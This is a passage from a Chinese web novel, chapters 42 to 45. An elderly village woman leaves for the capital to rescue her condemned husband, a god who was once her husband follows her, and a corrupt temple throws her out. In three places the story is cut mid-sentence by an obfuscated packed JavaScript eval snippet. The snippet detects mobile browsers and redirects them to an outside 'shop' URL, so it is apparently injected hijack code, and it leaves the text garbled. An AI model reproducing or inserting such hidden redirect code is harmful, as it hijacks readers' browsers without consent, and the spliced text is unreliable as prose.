花祝年本来没这个意思的,她确实是觉得这后生讲话不好听。 跟贺平安一点儿关系都没有。 不过,经他这样一说,她觉得自己有必要解释一下。 感觉这个后生忒小心眼儿了,而且心术也不是很正的样子。 “做人最忌讳公报私仇。你贺大叔对我怎么样,那是我跟他的事。可他是为了救绒绒,才被那些人抓走的。一码归一码,我不能看着他无辜枉死,更不会借机除掉他。他本就是个可怜又绝望的男人,这个世界上不会有人心疼他。我再对他不好,就没有人对他好了。” 如果贺平安听到花祝年的这番话,估计别说三十年的心结了,就是三百年三千年的心结,都要解开了。 毕竟,当初他就是因为她悲悯至极地看了他一眼,才下定决心要把她弄到手的。 只要知道她心里有他,会疼他,他为她死也心甘情愿。 花祝年是有这种本事的。 她不能让所有人都开心,但是能让所有人都不开心。 衡羿现在甚至都开始有点理解贺平安了。 不是理解他打她,而是理解那种经久不散的幽怨,那种心爱之人明明在眼前,却得知她心里装着他人的苦闷。 他独自憋屈道:“那你就对他好啊,干嘛拜你的将军?” 花祝年义正辞严道:“我对他好,是出于妻子的角色,我也一直在扮演这个角色。拜我的将军,是因为那是我的信仰,这两者又不冲突。” 衡羿也不知道该怎么说,只是一个劲儿地反驳她:“怎么不冲突?你总是这么不清不楚的,这、这明明很冲突!” 花祝年现在有正事儿要干,也懒得跟衡羿吵。 “滚滚滚,烦死了,懒得跟你争。” 衡羿见她下床,自己又从地上爬起来,跟过去说道:“生死有命,你这么努力,有什么用呢?况且,杀人偿命,他就是被斩了,也说得过去。” 衡羿对这个世间是一视同仁的。 哪怕是再恶的人,被人杀了,也是需要人间的法度来裁决凶手的。 倘若依靠情理,那还不乱了套? 因此,他也不是要借谁的手除掉贺平安,只是觉得,没必要让一个一把年纪的小老太,为本就该死的罪犯奔波劳碌。 贺平安死了就死了,没什么可惜的。 他的小信徒,至少能安稳度过人生最后的一点时光。 若是把人救了出来,后面的日子,还不知道要怎么过。 所以,就别去救他了吧。 42. 作为她的前夫 “一条命怎么被你说得那么轻易?你把他当罪犯处决,他犯了哪门子罪?” 衡羿觉得小信徒不仅痴愚,还是个不知律法的人。 “他们杀了那群流兵,按照现有的律法,是要被处死的。如果不杀一儆百,岂不是人人效仿?” 花祝年随手拿起一旁的扫帚来,照着衡羿的身上敲打了过去。 一边打一边唾弃:“乱世之法,有什么好遵守的?哪一条不是为了镇压百姓,为高位者谋便利。你单知道杀流兵犯法,怎么不知道流兵强抢民女犯法?贺平安他们那些人,明明是在制止流兵犯法,上边儿不奖赏他们就算了,哪有直接把人抓走的?” 衡羿觉得小信徒误会了自己。 他并没有说那群流兵做得对,只是在跟她讨论现有的环境下,贺平安是必死无疑的。 她当然可以不遵守乱世之法,可虽说是乱世,毕竟江山还没易主,那套法令是作数的。 他一把攥住她的扫帚,抢过来抱在怀里:“你跟我说这些没有用,因为就算我觉得你是对的,抓走贺大叔的人也不会这样认为。花大娘,我的确是站在你这边的。可是,我并不是能决定他人生死的人。” 花祝年叉着腰骂道:“你知道自己屁用不顶就滚开!不要妨碍我做事。” 说完也不管他让不让,一把将他推去了地上。 衡羿的头撞到柳春之前坐的柜子上。 他捂着自己的头,窝窝囊囊地爬起来,又忍不住跟了过去。 小信徒真是不听劝! 衡羿都想着要给她托个梦了。 可是,一想起上次托梦,被她暴打……就觉得还是算了。 看起来,好像她很虔诚地拜祭他。 可他心里很清楚,在大多数的情况下,她只听她自己的。 就是他出现在她的梦里,去阻止她救贺平安,她也会觉得他是邪神。 不会把他当成她的将军。 因为,在她心里,将军是不会阻止她救人的。 实际上,将军当然不会,掌管三界的神也不会,他们都是不理凡人因果的。 可是,前夫会。 作为她的前夫,他真觉得这日子没法儿过了! 她总是想着救一个该死的现任做什么? 退一万步来讲,现任就不能给前夫让位置吗? 衡羿委屈巴巴地跟过去后,才听见花祝年让柳春去把那些女人再聚集起来。 说是有话要说。 没一会儿,他看着小小的院子里,聚集了不少人。 说好不再参与的吴凝也来了。 还有跟花祝年打架的宋秋霜,也出现在院子里。 花祝年之前打架被撕破的衣服都没来得及换,就开始跟这些人合计起来。 她张口就是让人害怕的话:“我啊,有个老相好,在京城当大官儿!这回呢,我准备去找他试试。能不能救,不敢保证,但我去一趟,总算问心无愧了。就算有朝一日,贺平安被送上了断头台,我也算对得起他,尽其所能地救他了。” 宋秋霜虽然刚跟花祝年干过架,不过还是挺给她捧场的。 毕竟,当初打架也是因为她护着吴凝,又不是对她这个人有什么看法。 怎么说也是老姐妹儿,再者又是为了救自家男人,她说什么也得支持两句。 “那敢情好啊,就去试试呗。反正,这个事儿,咱们这小地方的官儿,肯定是管不了的。” 花祝年听完宋秋霜的话,满意地点了点头。 “那这么说,大家都同意我去,是不是?” 周围的人都没什么异议,觉得有人帮忙找路子,也挺好的。 花祝年紧接着说道:“那就给钱吧。此去京城太远了,去就得十天半个月的,回来又得十天半个月,再加上我得层层疏通运作,怎么着一个多月也就过去了。远行和求人办事儿,都挺花钱的。” 去的时候,大家都同意。 可是一到了出钱,就开始掂量了。 柳春率先说道:“她花婶儿啊,你这一去这么久,万一你前脚走,那后脚军营就把人斩了怎么办?” 花祝年无所谓道:“我不是跟你们说,我此去是找老相好的吗?他在京城当大官儿。你以为我白说的啊!” 柳春仍旧没听明白,一头雾水地说道:“哎呀,我们不关心,你跟那个老相好的事。我们是担心,你就算搬救兵,也来不及救那些男人。” 吴凝替花祝年解释道:“花姐姐的意思是,让我们把她在京城有关系这件事,散播出去。兵营里的人就不敢妄动。” 宋秋霜嫌弃地看了吴凝一眼:“喊什么姐姐,你才比绒绒大两岁,你应该学着喊她花婶儿。她陪你聊个几天,你真把自己当个人物了啊?辈分都忘了。” 吴凝忍一时越想越气:“跟你这种人真的很难沟通。你到底知不知道自己干嘛吃的?要是为了救你男人,就好好在这里听策略,老是跟我过不去做什么?” 宋秋霜听完脾气又上来了:“嘿,我说你这个小丫头片子,逼着你大娘撕你的嘴。” 说着就要去跟吴凝干架。 吴凝经过刚才的事,也不再害怕了,左不过就是大干一场,有什么的? 场面乱成一锅粥了。 女人们都在拉架,宋秋霜叫嚷道:“别拦着我,今天谁拦我,我扇谁。” 吴凝也急道:“别拦她,今天我也不想活了,咱们豁出去了,对命!” 话虽是这么说,她们之间还是隔了不少人。 有劝的,有拉的。 花祝年踹了衡羿一脚:“你倒是帮着拉一下啊。” 衡羿刚过去,就被宋秋霜扇了一巴掌。 都给他打愣了。 他以为宋秋霜只是嘴上说说,没想到她真的敢打。 宋秋霜骂骂咧咧道:“后生你凑过来干什么?你是不是看吴凝这小贱人好看,所以想在我面前充好汉?老娘告诉你,纵横村子几十年,打架和骂人还没怕过谁!” 衡羿捂着脸无奈地看了小信徒一眼。 她的这些老姐妹儿,怎么都跟她一样啊! 一个赛一个的彪悍。 他无奈地转过身,心想这下打不着了吧。 结果又被宋秋霜踹了一脚,一头撞到了对面劝架的几个大娘身上。 给那些人撞了一个踉跄。 衡羿刚想道歉,脸上就被吴凝抓了一道儿。 “你让开,离我远点儿。我倒要看看,那个满嘴喷粪的,还想怎么污蔑我!” 衡羿只得捂着脸退了出来:“花大娘,我劝不了。” “真是废物!” “那你怎么不去劝?” 花祝年小脑瓜儿转挺快:“我要是能劝,还用你干嘛?” 说完就转身回屋收拾东西去了,不再理会外面的混乱场面。 衡羿像个拖油瓶一样,花祝年走到哪儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152527|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就跟到哪儿。 本来此次来人间,他就是专门为她而来的。 不跟着她,他也不知道能去哪里。 衡羿看花祝年先是去到小书房,将那个小泥人儿用红布包好,又放到了一个放着稻草的木盒里。 他忍不住问道:“你要带着它上路吗?” 花祝年点了点头:“有个给我提气儿的也不错。” 她不知道这一路会发生什么。 今年她已经五十岁了,身体也不如往常那般硬朗。 也可能,会死在半道上。 带着将军一起上路,心里会更有底气吧。 花祝年看起来是个很坚强的小老太,可她怎么会不害怕呢? 去京城的路那么远,又是去找自己曾经拒绝的男人…… 如果不是为了救那些男人,她大概这辈子都不会低这个头。 可是,也不能不救吧。 如果她找不到出路,那可能真的就不管了。 但偏偏她觉得可能有希望救成,那就必须要走这一遭。 她可以对不起任何人,但不能对不起自己的心。 贺平安是她的饭搭子,床搭子,也是跟她相伴了三十年的人。 他饿了一辈子,也苦了一辈子。 于情于理,她都是要救的。 而且,她也不全是把他当成自己男人来救。 救贺平安,更像是救自己内心的正义。 她认为不该死的人,那就不能死。 如果让他死了,那是这个世道的错。 衡羿其实是能感知到小信徒的想法的。 他现在主要是害怕,万一她这样执着,到时候没救成贺平安,她该不会永远都忘不了他吧。 就像忘不了薛尘一样。 那她或许就不当他的小信徒了,可能改成日夜对贺平安拜求了。 衡羿感受到了很重的危机感。 他当了她三十年的白月光,突然觉得自己的地位可能要被撼动了。 撼动他的,还是一个整日打骂她的男子。 衡羿突然急切地说道:“花大娘,你知道自己在做什么吗?他是千夫所指的死刑犯,没人在意他救了鲁绒绒,大家只看到他杀了那群流兵。杀人就该偿命,你怎么能干涉他的因果呢?” 花祝年收拾东西的手突然停了下来:“别逼我正忙的时候,抽出手来抽你!” 衡羿捂着脸说道:“你就是抽我,你现在也是不对的。我看你已经失去理智了。人生苦短,何必为了男人操心呢?不如过好剩下的日子,你就是再找一个也好啊。世界上,又不只贺平安一个男子,更何况,他也不是什么好人。你没必要这样记挂他。他也不是薛尘,没有做出什么为国为民的事。他救的,只是一个最普通的人。他跟你的将军,一点也不一样。不,应该说,完全没有可比性!” 花祝年作势要抽他,衡羿往后躲了一下。 “你天天跟我发什么神经?我能不知道他跟薛尘不一样吗?但他救绒绒也是意义重大啊!绒绒是柳春和鲁大梁的命,他拯救了一个家。况且,杀了那群流兵,还能防止他们去祸害别家。怎么到你嘴里,好像很看不起他一样?你这个冷情冷性的读书人,哪儿来那么多高高在上的大道理?” 衡羿也不是高高在上,冷漠至极。 他就是,嫉妒了。 嫉妒到一时忘却了神性,跌落凡尘,变得像一个争风吃醋的凡间男子。 43. 你带上我 困顿于红尘俗世的感觉,并不是很舒服。 他都已经回归神位了,到底为什么还要下来遭这个罪? 衡羿是个很能自省的神。当意识到自己出现不该有的念想时,会及时止损。 他已经对她无动于衷了三十多年了,理应继续这样下去。 衡羿咽下了继续要劝她的话,开始跟着她一起收拾东西。 花祝年忙碌之余瞥了他一眼:“你收拾包袱做什么?” “自然是跟你一起去。” “我去找老相好,你跟我去干嘛?” 衡羿无奈道:“我知道他不是你老相好。你在我面前,不用这样伪装。” “我没伪装。以前不是,以后会是的。” 衡羿不再理会她,继续收拾着东西,反正他总是要跟过去的。 花祝年一把将他的包袱丢开:“你得留下来。” 他生气道:“你要自己一个人去?” 本来,他以为她会带他去的。 毕竟路途遥远,两个人也好有个照应的。 更何况,她连那个屁用不顶的小泥人儿都带上了,怎么能不带他这个真神仙呢? 可他没想到,她居然从始至终,都没想过带他上路。 她总是这样孤孤单单地一个人。 若是为了别人就罢了,偏偏是为了贺平安。 花祝年难得平心静气地跟衡羿商量了起来:“我走之后,村子里的情况,还不知道怎么样呢。柳春性子软,绒绒性子急,两个都是很容易被摆弄的人。你留下来,照顾她们。” “我为什么要照顾她们?一个差点强迫我,一个跟我非亲非故。” “你不是住在我家吗?干嘛还要跟着我跑来跑去的?就继续住着啊。” 衡羿别扭地拒绝:“我不。” 花祝年扬起手要打他,衡羿也不躲,就那样生气地看着她。 “你有本事就打死我吧,反正,你也不是没杀死过人。” 他还是在为她救贺平安这件事耿耿于怀。 自身的情绪,越来越难以控制了。 花祝年收回了自己的手:“后生,紧急关头,算大娘求你。不能我去趟远门,回来家被人偷了,想护的人都没有护住。” 衡羿抢走她的包袱:“那你就不要去!” 花祝年看着衡羿手里的包袱说道:“我不想因为自己,不懂为人走动办事,再度见证他人的死亡,留有永生的遗憾。这是我自己的事,你就让我去吧。” 曾经的花祝年,和现在几乎是两个人。 薛尘从判罪到行刑,有三天的时间。就连他的那些部下,都在找人为他求情运作。 可是她,因为觉得自己人微言轻,也够不到什么有名望的人,过了极度绝望的三天。 然后,等来了他的死亡。 说白了,就是抹不开面子。 她后来总是在想,如果当初她也学着找找人,或者去抢家大户,带着万贯家财买通狱卒。 是不是,就能救他出来了? 可是当时的花祝年,在重典面前,并没有做出任何有力的反抗。 这始终都是她的遗憾,也让她觉得后悔终生。 因为感觉自己没有尽力。 等生死时刻来临时,一个人就会知道,清高与自持,是多么无力。 如果下跪能挽救一个人的命,她会跪下来的。 可当时需要的不仅仅是下跪,还需要做很多复杂的事,才有可能为他换来一线生机。 但她出于一种自我束缚的心理,既不敢去找关系,也不敢去抢钱…… 她什么也没做成。 甚至,买通狱卒想要去看一看他,结果钱也被骗走了大半。 根本疏通不到那个地方。 衡羿似乎是感知到小信徒的歉疚,他抱着她的包袱说道:“花大娘,薛尘的事和今日贺平安一样,他们都是必死无疑的。你不必为没能救到谁,而觉得亏欠。命里定好的事,又怎可更改呢?” 花祝年用衣袖蹭了把泪水,红着眼睛孤倔地说道:“我偏要更改。” 她抢过他怀里的包袱,背到了自己的身上。 等她去到外面的时候,大家已经不打了,她们甚至已经回过一趟家了。 也不知道怎么停下来的。 就是闹着闹着,突然有人说了声,回回都是你俩坏事儿,人到底还救不救了? 这些人里,除了吴凝,都是想救自家男人的。 不过,她也从家里带了些钱,而且,就数她带得多。 柳春走上前,将收集到的钱放到花祝年手中。 “我们每个人都凑了些,你看看够不够。不够的话,我们再去借。” 花祝年仔细地合计了一下:“勉强够吧,我省着点花。” 柳春看了她身后的衡羿一眼:“这后生不跟你一起去?” 花祝年摆了摆手:“让他留下来吧,怎么也得有个看家的。” “附近的村子里,都出过老妇人在夜间被不明人欺辱的事,大多都是我们这个年纪的。你自己去,也太危险了,还是让他跟着吧。” 宋秋霜也插嘴道:“你也不看看自己一把老骨头了,还天天跑这儿跑那儿的。以为自己还是小年轻啊!把后生也带去吧。” 花祝年走到宋秋霜面前:“老娘身子骨硬朗着呢。一个能揍你俩!还让后生跟着我,你就不怕我借机带着后生私奔?到时候,让你们人财两空!” 宋秋霜冷笑道:“谁还看得上你啊?你年轻个二三十年倒还有可能。” 花祝年摇了摇自己的钱袋子:“可是我有钱啊。见钱眼开的人多了,后生为了钱傍上我,也不是不可能。” 宋秋霜的眼珠转了转:“你别说,你还真别说,你这让我们交了这么多钱,还真有可能自己出去找乐子去。我们差点被你骗了!我以为咱们这些人这里头,只有吴凝那个小丫头片子,不想救自己男人,没想到把你给忘了!” “你说说你号召力多大,你说京城有个老相好,我们就相信你能救人,丝毫没怀疑过你卷钱跑路。现在我真有点儿怀疑了。” 花祝年推搡了宋秋霜一下,笑道:“滚蛋,脏心烂肺的!” 宋秋霜看了她身后的衡羿一眼,凑过去小声道:“其实,你要是真带着他跑了也没什么。我们都支持你的。只是,这人到底能不能救,你得给个准话。” 花祝年往后看了衡羿一眼,转过头来跟这些老姐妹儿说道:“我把话放这儿,这后生,我留下来当人质。我这回呢,要是卷钱跑了,男人因此被斩了,你们就过来问他要钱。他家里是个有钱的,也是绒绒未来的夫婿,平日里,有什么活儿你们就使唤他,可别省——” 花祝年的话还没说完,就被衡羿拽回到了屋子里。 他很少对她做这样粗鲁的举动。 她的衣服本就被人撕扯坏了,还没来得及换,再被衡羿这么一拽,口子更大了。 他厉声质问她:“花大娘,你这是要干什么?” 花祝年轻拍着他的心口安抚他:“我又不是不回来,你暂时当当人质怎么了?你还信不过我啊!” “我不做人质,我说过,我要跟你一起去。” 花祝年低头思索道:“你说是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164582|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,我可以不听啊。” 衡羿气得想把小信徒带上天,然后关进他的宫殿里,天天听她鬼哭狼嚎地闹。 等贺平安被斩了,再把她放出来。 可他终究还是没有那么强硬。 他本就不是性格强硬的神,也做不出那样过分的事。 只能好言劝说道:“你这次去京城,她们给你凑的路费,肯定不够。我有钱,你带上我,可以让你路上过得舒舒服服的。” 花祝年晃了晃手里的钱:“你说这个啊?你以为我会花?” 衡羿一头雾水道:“不花这个,你还有别的钱吗?” “那自然是没有的。” “那为什么不花?你让她们凑钱,不就是为了花的吗?” 花祝年摇了摇头:“主要是让她们有参与感。还有,也算是给大家留个念想。至少,在我回来之前的这段时间,她们心里是满怀希望的。毕竟是花了钱的,人还能救不回来吗?” 衡羿胡乱猜测道:“可是,你不花这个钱,那要怎么去京城?你、你又不让我跟着你去,花大娘,你该不会真的要跑路吧!” 花祝年狠拍了一下他的头:“再乱说话,锤爆你的狗头。这种时候,最忌讳散播这种动摇人心的消息。你给我老实在家里待着,有谁要是敢来这里问你关于我的事,你就把钱退给她们,并且要明白告诉她们,退过钱的,不救。” 她说完,就把钱袋子放到了他的手里。 衡羿将钱放回到她怀里:“花大娘,我是跟定你了。如果你不让我跟着去,我就在这里大肆散播,京城那位不是你的老相好,而是你曾经拒绝过的人。你现在找上去,人家不羞辱你就是好的,根本不可能帮着你去救人!我要彻底断了你那些老姐妹的念想。” 跟小信徒待得久了,他也变得无赖起来了。 这种拿捏小老太的感觉还不错。 花祝年没想到这个后生,居然满肚子坏水儿。 她原地怔了良久,才怅然道:“我听出来了,你这是,要坏我的事啊!” 衡羿笑着点了点头:“你带我去,我就不坏事了。” 她不理解地问他:“你为什么就非要跟着我去?” 衡羿摸了摸她的头,信口胡诌道:“我很是同情贺大叔,担心你真的抛下他跑了。我得帮他牢牢看着你,我会一直盯着你,直到永远永远。” 花祝年隐隐感觉这个后生有种疯感。 真的,之前她还不觉得,现在突然背脊发凉。 一个差点能被人上两次,还赖着不走的男人,那不是疯子,就是变态。 可是,她看他也没什么变态的举动。 那大概,就是疯子吧。 不然,被她这么坑钱,脾气还这么好,确实不像正常人该有的反应。 之前她还以为他是性情温和不计较,可是讲话又经常没什么逻辑,现在看来原来这是个疯子啊! 那这一切就说得通了。 花祝年不太想被一个疯子纠缠住。 她抬手捏了捏后生的肩,假意妥协道:“好,那你就跟我去吧。不过,在去之前,我得先把村医的汤药费结一下。” “我陪你去。结完汤药费,咱们就启程。” 花祝年将包袱丢给他:“着什么急,我这会儿又不走,你先蒸锅馒头吧,到时候路上吃。我现在去送汤药费,你老实在家里等我。那个,馒头会蒸吧?不会就让你柳大娘教教你。” 衡羿抱着温温软软的包袱,满怀欣喜地对她点了点头:“会的。我在家等你,你早点回来。” 他和小信徒的第一次出游要开始了。 44. 也许 无论是以前夫的身份,还是从神明的职责来看,他都不希望她去救贺平安和那些人。 杀人就是杀人,杀好人和杀坏人,本质上来讲,并没有什么不同。 如此轻易地剥夺他人的生命,跟魔又有什么两样呢? 只不过,当时的确没有更好的办法。 只能说,那群流兵活生生地把百姓逼成了魔。 流兵的死亡是在受作恶的因果,而贺平安和那些男人,也有自己的因果要接。 上天是公允的。 不会让人讨到一点规则之外的好处。 任你把生死大义说破大天去,该受的罪半分都不会少受。 衡羿觉得人间跟地狱一样。 每个人都有那么多,因欲念所产生的磨难。 还是修道当神仙好啊。 如果是兵革仙的话,可能会觉得贺平安那群人做得没什么错。 天下的兵革之势,本来就是众生反抗的一股怨气聚集而成。 从杀戮中产生,于征战中壮大。 两个人坚守的神职不同,所以认知也是相差很远的。 可能也正因如此,一个只能做打打杀杀的兵革仙,另一个却是平衡三界的神。 他没有轻易动怒,剥夺他人性命的资格。 或许是出于对弑杀行径的厌恶,衡羿只当做这是一场漫长的出游,并非是什么救人于水火的营救。 世道这么乱,再加上小信徒的身体又不好,也许,这是他能陪她的最后一程了。 他本来就是下凡给她送终的,送走她后,他也就重新回到天上了。 然后,永远忘记她。或者,不再想起。 花祝年自打出门后,就开始抄了条小路疾速奔走着。 可算是让她甩掉这个包袱了! 这后生真是烦得要死,总是想帮贺平安那个老混蛋盯着她。 神经。 蒸馒头不是件容易的事,揉面、醒面、切面,每一步都必不可少。 衡羿在醒面的时候,觉得等待的过程有些无聊,随手在空中一划,想看看小信徒在做什么。 去了这么久,怎么还不回来? 结果,发现她都走出二里地去了。 衡羿一把捡起盆里的面,摔到了案板上。 她骗他在家里蒸馒头,自己偷偷跑掉了,根本就没去结汤药费! 怪不得他抱着她的包袱那么软。 里面全是些可有可无的衣物,那个装着小泥人儿的盒子,早趁他不注意被她拿了出来。 她只带了小泥人儿上路,其他的都可以舍下。 真是被她哄到了! 在家里时,把话交待得那么好听,他还以为她是真的想吃馒头。 幸亏他能追踪到她的行踪。如果他是一个凡人的话,还不知道要急成什么样子。 怪不得贺平安不肯让她年轻的时候跑太远。 遇到这样有主见的女孩子,哪敢放她一个人出门?走了就不回来了。 被骗的衡羿,在厨房一边生气,一边大力揉面。 馒头还是要蒸的,不然她没得吃。 花祝年走小路是有原因的。 一是她已经让人往外散播消息了,担心兵营的人会出来抓她回去。再则,小路上多道观和寺庙。 爹娘还在世的时候,经常往各地的宗教场所捐钱,积累福报。 住持和道长都说过,在任何时候,花家的后人,无论走到哪里,只要来寺庙和道观,都会有口饭吃。 这是爹和娘给她攒下的功德。 不过,花祝年从来没有进去吃过,年轻的时候抹不开面子,年老了反倒不在乎了。 她之所以用不着老姐妹儿凑来的钱,自然是因为有吃和住的地方。 花祝年把一切都打算好了。 她做任何事,都不是冲动为之的。 平日里,因为贺平安的阻拦,她去的最远的地方,也就是镇子上了。 这回一口气走了这么老远,竟莫名有种仓皇出逃的感觉。 紧张之余又有些兴奋。 夜色渐渐地深了,她今天一整天,就早饭吃了点东西。 之后就一直在各种忙活。 远处的寺庙,像一块发着金光的玉米面饼子。 也是支撑她走过去的唯一动力。 因为走得仓促,她把包袱也丢给那后生了。 里面还装着她两双鞋。 小路上石子比较多,路也难走,花祝年低头看了看自己脚下开了口的鞋。 怪不得走路都感觉冒着凉气呢。 她拖着自己的开口鞋,敲了敲寺庙的朱色大门。 花祝年是懂鉴赏的,这个大门的用料很讲究,铜环敲击出来的声音也好听。 可能是很久没见过好东西了,她又轻敲了几声,准备听个响。 结果里面气势汹汹地,冲出来一个衣衫不整的俊秀小和尚。 “大晚上的,敲什么敲?” 花祝年本来想破口大骂的,可是这里是清净之地,出家人有些傲气和清高,似乎也正常。 想了想,她就忍了。 “小师父,我是来上香的。” 对方立即换了副脸色,可是一看她的穿着打扮,也不像是什么贵客。 勉强将她带了进来:“施主,里边请。” 花祝年眼看着,自己就要被带到交钱的地方了,连忙扯住小和尚的衣袖。 俊秀的小和尚嫌弃地一把抻开:“施主,您还有什么吩咐?” “我找你们主持。” “上香这个事儿,不用找主持。上回,王财主交了黄金千两,都没见到主持的面儿呢。住持一心礼佛,从来不管这些事。” 花祝年站在原地笑了笑:“黄金千两那确实不值得,不过,我准备贡个万两黄金,给这里大大小小的罗汉们都镀个金身,不知道能不能见见那位住持?” 小和尚虽然觉得这位女施主穿着穷酸,但是万一是真的呢? 所以,还是将住持请了出来。 住持是个圆润的中年和尚,笑起来脸上的肉都堆到了一起。 莫名有股奸诈相。 小和尚介绍道:“施主,这是本寺的住持圆润。” 花祝年笑呵呵地点了点头:“这法号真不错。” 圆润看了小和尚一眼。 小和尚识趣地开口道:“住持也来了,您那个钱,是不是也该——啊?” 花祝年知道住持不跟自己讲话,是觉得她一个穷酸老妇人不配,所以才一个劲儿地让小和尚催账。 我佛只渡有元人,看来此话不假。 “圆润大师啊,我此次捐钱,是为的图名,所以,想知道,我这要是捐万两黄金,能不能把名字写在功德碑上啊?” 圆润一听这确实是来捐钱的,毕竟都想上功德碑了,立即开口道:“当然可以了。” 花祝年听着圆润的声音,有些敦厚的油腻,再配合着他身上的袈裟,感觉像一块儿炒了糖色的五花肉。 “那能不能,让我看看咱们这儿的功德碑呢?” 圆润一心想着这是个大买卖,自然是同意带她去看的。 那块儿功德碑很大,花祝年点着灯笼,在上面找到了自己爹娘的名字。 她摸着镌刻的字迹,眼泪簌簌地落了下来。 世界上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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年轻时,她看书很杂,刚好看过些经书,没想到在此刻派上了用场。 她是很懂让各种类型的人破防的。 骂看不起人的读书人,要挑准痛处,骂他们自命不凡,脱离百姓,不识人间疾苦。 骂坑蒙拐骗的为僧者,就要用《地藏菩萨本愿经》里的话来骂,才不算亵渎了这神圣之地。 花祝年是个很讲道理的人。 她早前一直觉得,只要自己站住理,这天下间的人,但凡是不讲理者,就没有她不能骂的。 然而,然而…… 这老秃驴压根没听懂她在骂什么。 看来是已经不读经很多年了。不知道霸占着这寺庙,在做什么不正经的勾当。 居然连经书里的话都不知道。 在极致的恶面前,约束人心的经文,是彻底失效的。 她骂得再咬牙切齿,也没办法骂死他。 就算道理再对,又有什么用呢?好无力啊,菩萨也不会收走坏住持。 不仅如此,她还被几个和尚丢出了门外。 朱门在她面前,重重地关闭,上面的铜环发出闷厚的声响。 摔到地上的花祝年觉得脚下一凉,这才发现自己那只开了口的鞋子,不知道什么时候被蹭掉了。 可能是突然想到了自己爹娘,她一时忍不住痛哭出声。 正在此时,朱门打开一道小缝儿,一个小和尚嫌弃地将她的鞋子丢了出来,刚好砸到她的脸上。 45. 你的小妻子这么彪悍 泪水顺着她脸上的皱纹滑落。 她明明已经一把年纪了,却像个天真的孩子一样,来寻求爹娘留下的最后一分念想。 结果,还破灭了。 一向好脾气的衡羿,实在是看不下去,随手挥了道天雷下来,要将这寺庙劈了。 他的法术刚恢复一点儿,没想到这么快又要破戒了。 这次不知道会反噬到什么程度。 可是,天雷劈到半空,就被一道金光截走了。 一个面目仁慈的罗汉,出现在他面前。 每座寺庙都有自己的守护佛。 守护佛守的是寺庙,并非是里面的龌龊。 因此,护着寺庙,倒也情有可原。 对方走到衡羿面前,双手合十行了个礼:“衡羿仙君,你出身道家,又是执掌三界的神君。佛道两家,向来井水不犯河水,何苦劈我这地方,让佛弟子们无处可去?” 衡羿想起那群坏和尚就来气,他的脑海里全是小信徒无助哭泣的样子:“你提供这藏污纳垢的地方,跟助纣为虐有什么两样?” 金身罗汉看起来倒是比衡羿平静许多。 “寺庙的住持圆润,本是拦路抢劫的匪徒,如今皈依我佛,也算是被困在了这一方小庙之中。藏污纳垢听起来可怕,可是细想下来,这怎么不算是为世间除害呢?我佛把猛虎关进了笼子里,日夜跟猛虎为伴。圆润就算是祸害,也只是祸害的我佛和我佛的信徒,并没有对世间的他人造成损害。这也算是一种渡人吧。” 衡羿不管对方讲的这些佛理,他只知道这群人让他的小信徒伤心了。 贺平安守着小信徒的时候,全世界只有贺平安会让她伤心。 至于其他的人,从来不敢欺负她。 偏偏换做他来守护她,怎么就让一群臭和尚给欺负了? 他冷笑道:“你直接把他们送去地狱,不是更为人间除害?” 金身罗汉垂眸看向了寺庙大殿内,正叠在一起的两个人。 一个是住持,另一个是一个清秀的小和尚。 他们在做之前没办完的事。 “那个老的,前世是得道高僧,最后为了女儿,杀了人,才没能修成正果,这才重新来过,但他身上累世的福报,是有的。在还没有消耗完之前,是没办法强行送去地狱的。” “至于那个被压在身下的小和尚,前世是个纨绔,欺辱了老和尚的女儿,女儿求助无门,自杀了。她娘才来庙里找那个已经出家的丈夫。可老和尚也无能为力,只好留出家前的夫人住上一宿,第二天一早看见夫人自尽了。” “那本来是老和尚在前世的最后一关,他最后还是没能勘破亲情,犯了杀戒。那个欺男霸女的纨绔这一世,成了被老和尚压在身下的玩物。在无数个夜间,感受那些女子的屈辱和痛苦。这是他们之间的纠缠。” “衡羿仙君,你莫要怜悯他们。除去这个小和尚之外,其他的几个,前世也是一等一的大恶人,祸害了不少女子。人间本就是地狱,寺庙是地狱中的地狱,各有各的纠葛和缘法。” 金身罗汉似乎在向衡羿解释,自己为什么要留着这个地方。 以及,留着这群人。 看起来他们在享福,可实际上哪一个,不是在偿还前世的债呢? “那我的小信徒,又犯了什么错?怎么就这么容不下?连口斋饭都不给她吃?” 虽然衡羿带了馒头和羊肉,可他真正在意的是,小信徒被赶出来这件事。 太欺负人了! 金身罗汉为难地笑了笑,真是有苦说不出。 “她是你的小信徒,又不是佛弟子的信徒。这收不收留的,也不能强求啊。况且,你的小信徒未来还和宗教有段缘分的。” “什么缘分?良缘还是孽缘?” “这,这我不能说,总之,应该算因果吧。她现在所经历的一切,都是为了日后做打算。” 衡羿心疼道:“她的寿命只剩不到三个月了,还有什么今后可以说?” 